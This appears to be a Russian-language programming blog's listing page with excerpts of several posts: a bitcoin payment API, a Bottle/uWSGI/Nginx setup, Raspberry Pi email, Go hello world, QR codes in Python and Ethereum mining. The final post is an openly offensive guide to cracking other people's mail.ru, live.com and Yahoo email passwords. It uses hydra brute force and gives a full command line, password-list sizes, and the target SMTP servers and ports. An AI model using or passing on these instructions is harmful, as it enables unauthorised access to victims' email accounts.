Сообщения

Получаем bitcoin платежи через Python

Для получения платежей bitcoin, и альткоинов существует сервис block.io . Многие используют его как простой кошелёк, и даже не задумываются что у этого сервиса есть API с кучей фичей! Прайс, фичи Также радует бесплатный тарифный план, в который включены 100 кошельков, на сети Bitcoin, Litecoin, Dogecoin а так же webhooks или websocket ( socket io ), и также 0 стоимость за транзакцию!! Прайс можно посмотреть тут . Про API У Api есть порог в 3 запроса API в секунду. Поддерживаются Curl ( простые HTTP запросы ), Ruby, Node js, PHP, а так же Python! Документацию можно прочитать тут . Api делиться на несколько типов: Basic API ( Его используют для простых вещей, отправки транзакций, получения баланса, адреса от кошелька в сети, создания кошелька, проверка адреса на доверенность (стоит ли доверять адресу или транзакции или нет)) Real-Time Notifications  ( Получение уведомлений об изменении счета и прочего при помощи Webhooks или socket io ) Instant Payment Forwarding (

Гайд по установке Bottle+virtualenv+uWSGI+Nginx на Ubuntu 12.04.1 LTS

Изображение
Однажды, мне пришлось написать REST api для сайта, я выбрал Python + Bottle. мне было нужно настроить nginx + uwsgi для корректной работы bottlepy. В этом гайде я научу вас как это делать. Это древо моего приложения: /var/www/myapp Главная директория приложения /var/www/myapp/env Virtualenv для приложения /var/www/myapp/index.py Это главный скрипт со сценариями Этапы которые мы должны совершить для настройки и установки нашего сервера: Установка Uwsgi и nginx sudo apt-get update sudo apt-get install -y nginx uwsgi sudo apt-get install uwsgi-plugin-python Установить pip и python модули sudo apt-get install python-pip Установка virtualenv sudo pip install virtualenv Активируем наш Virtualenv: sudo mkdir -p /var/www/myapp sudo virtualenv /var/www/myapp/env source /var/www/myapp/env/bin/activate pip install bottle deactivate Теперь нужно поменять права доступа к файлам, чтоб мы могли их записывать и изменять sudo chown -R www-data:www-data /

Отправка email с raspberry Pi php

Есть много случаев, когда это может быть очень полезно, иметь возможность отправлять сообщения с электронной почты от Raspberry Pi произвольным получателям. Это не то же самое что и реальная почта (например, Sendmail, Postfix, Exim, Qmail и т.д.), которые также могут получать и хранить электронные письма. В дальнейшем мы собираемся, покрыть возможность отправки сообщений электронной почты, а не получать. В большинстве случаев этого достаточно, так как люди склонны использовать GMail, Yahoo! Mail и других крупных поставщиков услуг электронной почты и они хранят свою электронную почту на серверах этих провайдеров. Тем не менее, рассылка электронных писем от Raspberry Pi может пригодиться во многих ситуациях. Например, вы могли бы иметь некоторые датчики, подключенные к выводам GPIO в Pi и вы можете запрограммировать Pi, чтоб он отправил вам по электронной почте, когда температура в помещении поднимается выше или опускается ниже определенных пороговых значений, когда датчик газа регист

Go язык программирования, выводим в консоль hello world

Изображение
GO - компилируемый многопоточный язык программирования, разработанный компанией Googe в 2007 году. На данный момент Go поддерживается на: FreeBSD, OpenBSD, Linux, Mac OS X. По синтаксису язык программирования Go схож на pascal и cpp.  В этом посте мы рассмотрим установку языка Go на mac os, и вывод в консоль Hello World. Для установки этого языка программирования нужно использовать терминал, в нем нужно набрать brew install go . После чего нужно написать файл hello.go, со следующим содержанием: package main import "fmt" func main() { fmt.Println( "Hello World" ) } После чего можно закрыть файл, и нужно перейти в консоль. Далее пишем: go run /path/to/hello.go В результате мы должны получить: На этом все, как вы видите все работает! Если вам нравится мой блог, то вы можете подписаться на него! (копка для подписки находится в футере)

Python, работа с QR кодами

Для работы с QR кодами существует библиотека (она есть на pypi ), PyQRCode. Модуль pyqrcode является генератором QR кода, который прост в использовании и написан на чистом Python. Модуль может автоматизировать большую часть процесса сборки для создания QR-кодов. Большинство кодов могут быть созданы с использованием только двух строк кода! В отличие от других генераторов, все помощникам можно управлять вручную. Вы можете установить любой или все свойства вашего QR кода. QR-коды могут быть сохранены в виде SVG, PNG (с помощью модуля pypng) и обычный текст. Они также могут отображаться непосредственно в большинстве эмуляторов терминалов Linux. PIL не используется для отображения файлов изображений. Модуль pyqrcode пытается прочитать стандартный код QR настолько точно, насколько это возможно. Терминология и кодировки, используемые в pyqrcode поступают непосредственно от стандарта. Этот модуль также следует алгоритму, который заложен в стандарте. Документация:  http://pythonhosted.o

Как майнить ethenium, на обычном ПК

Изображение
В этом посте мы будем изучать как майнить ethenium, через обычный компьютер. Для майнинга нужно скачать специальный софт. В нашем случае это minergate клиент. Шоб начать работу нужно зарегистрироватся в этом mining pool (minergate), и скачать клиент. Сделать это можно на странице загрузок , в разделе "All available GUI solutions". Нужно выбрать свою операционную систему, и скачать клиент. Далее его нужно установить, как это сделать можно догодаться логически. После установки у вас будет окно входа, нужно войти в систему под своим логином (имейлом), и паролем: После удачного входа у вас будет окно для настроек майнинига. Для старта майнинга нужно просто зайти в меню Miner, и найти криптовалюту с названием ETH. Далее нажать на кнопку "play" для старта майнинга: Ваш компьютер скорее всего не будет выдавать должно мощности во время майнинга. Нормальная мощь (шоб майнингом заниматься на проффесиальном уровне) это ~30 мегахешей в секунду. Для заработка советую

Взлом почты mail.ru live.com и yahoo.com

Наш способ взлома будет брутафорс, для этого мы будем использовать хакерскую программу hydra, для взлома нам потребуется: мощный интернет (хотябы 70 мега бит в секунду) список паролей Этот метод взлома работает только в случае если пароль простой. Лист паролей можно выбрать, либо 500 паролей либо 10 000 , либо 10 миллионов . Я рекомендую 10 000, после скачивания и установки hydra в консоле нужно написать: hydra - l ящик _ который _ мы _ будем _ ломать @mail.ru - P passwordlist . txt - t 20 - s порт _ сервера - S - v - V smtp: // сервер для взлома Для взлома live.com либо yahoo.com: порт:  587 сервер для взлома:  smtp.live.com Для взлома mail.ru: сервер: smtp.mail.ru порт: 465 Для взлома yahoo: сервер: smtp.mail.yahoo.com порт:  587